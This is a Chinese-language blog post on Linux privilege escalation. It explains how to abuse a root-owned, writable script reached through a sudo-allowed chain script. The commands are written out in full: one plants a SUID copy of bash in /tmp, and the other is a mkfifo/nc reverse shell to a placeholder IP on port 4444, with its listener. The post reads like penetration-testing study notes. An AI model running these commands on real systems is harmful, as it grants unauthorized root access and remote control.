首页 > 其他分享 >通过修改脚本来提权的方法

通过修改脚本来提权的方法

时间:2023-01-26 16:33:08浏览次数:31  
标签:脚本 tmp 修改 提权 bin 权限 root bash

以普通用户登入后,先sudo -l

 

看看有什么具有root权限、且普通用户可以写入的脚本

例:A.sh

 

该类脚本普通用户是启动不了的,但可以通过链式脚本启动

例:

存在脚本B.sh,其内部为:

#!/usr/bin/perl

system("sh", "/etc/A.sh");

即可以通过/usr/bin/perl来启动B脚本,然后B脚本又会启动A脚本

 

A、B脚本对于普通用户一般为:

  A可以写入且具有root权限,但不可执行

  B可以免密执行但不可写入

 

所以最重要的是找到这条链,并修改A脚本,最后执行B脚本

 

在找到A脚本后就可以通过两种方法来提取:

 

1.修改脚本来切换shell获取root权限的方法:

 

原理:

一般/bin/bash是具有root权限,而且普通用户不能启动,

故将其复制为/tmp/bash,这是允许用户启动的shell

这样一旦用户运行脚本/tmp/bash则会拥有root的权限

接着用户就可以运行/tmp/bash来获取root权限

 

操作:

1.先将命令写入A脚本

echo "cp /bin/bash /tmp/bash;chmod +s /tmp/bash" > /../../A.sh 

 

2.以sudo执行B脚本

可以通过很多的方法启动

用sudo -l里允许的链式脚本文件或程序启动脚本

 

3.切换shell,获取root权限

cd /tmp
./bash -p

到这里就已经为root用户了

 

2.修改脚本建立一个反弹shell获取root权限的方法

 

原理:

运行脚本,脚本自动执行内置命令

然后就会反弹一个shell给本地机

本地机预先监听就可以连入

 

操作:

1.先将命令写入A脚本

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc your_ip 4444 >/tmp/f

4444为将要监听的端口

 

2.在本地机上开启监听

nc -lnvp 4444

 

3.以sudo运行B脚本

运行完连入后即为root用户

标签:脚本,tmp,修改,提权,bin,权限,root,bash
From: https://www.cnblogs.com/jhinjax/p/17067904.html

相关文章

  • 一个shell脚本文件名的坑
    shell脚本文件名中不要包含要grep的进程名,比如下面grep了redis,那么文件名中不要包含redis,否则会出问题,因为打开文件的句柄中也包含redisredis.sh#!/bin/bashpid_count=......
  • 逆向技巧——从混淆说明IDA Python脚本的使用
    之前工作的时候,遇到过病毒需要使用IDApython进行反混淆的问题,但是由于病毒的工作量较大、前置步骤多,没有很好的总结。闲下来了,有空了,根据网上的Demo做个实验记录一下。......
  • asp.net中动态修改配置文件的方法
    很多时候,我们可能会在asp.net中动态的修改配置文件,我们可以使用如下代码中涉及到的类来完成配置文件,下面的代码是修改connectionstring的例子:System.Configuration.Configur......
  • 基于tar通配符漏洞的提权方法
    以普通用户进入目标机后,若是可以运行tar指令,则可以通过以下的方法进行提权原理:tar有通配符*的漏洞,tar用通配符来压缩文件并读取文件名,若是看到有参数则将执行。 操......
  • 使用jclasslib简单修改class类
    1、自行下载jclasslib,64位电脑需要下载x64的版本,并安装。2、先用反编译工具jd-gui或能反编译的IDEA查看,推荐使用IntellijIDEA直接查看。  3、用jclasslib打开这个cl......
  • 【常用工具】通用-修改图像的形状
    方法是使用PIL中的Image,可以用来读("Image.open")或者保存("picture.save.(path)")这里的resample中第二个参数可以改成不同的数字,表示使用不同的采样方式。fromPILimp......
  • 同账号下不同ecs修改不同出口
    同账号下不同ecs修改不同出口这标题我也不知道怎么起名才恰当==直接说需求:对于项目A,我们有一个专门买该项目A资源(服务器、安全产品等等)的阿里云账号......
  • Web安全入门与靶场实战(15)- 修改HTTP请求头
    在HTTP请求报文中,请求头是我们需要重点了解的部分。请求头主要用于向网站发送客户端的一些信息,请求头中的字段非常多,并且都遵循着固定格式。不过并不是在每个请求报文中都要......
  • 游戏程序报错:表达式必须是可修改的左值
    提问: C++编程:表达式必须是可修改的左值报错:①表达式必须是可修改的左值"weaponType":不能给常量赋值②表达式必须是可修改的左值“=”:左操作数必须为左值如图一:  ......
  • windows11 彻底修改c盘中文用户名
                        windows11彻底修改c盘用户名由于一开始注册的时候没有注意使用了中文名导致后来再使用一些应用的时候......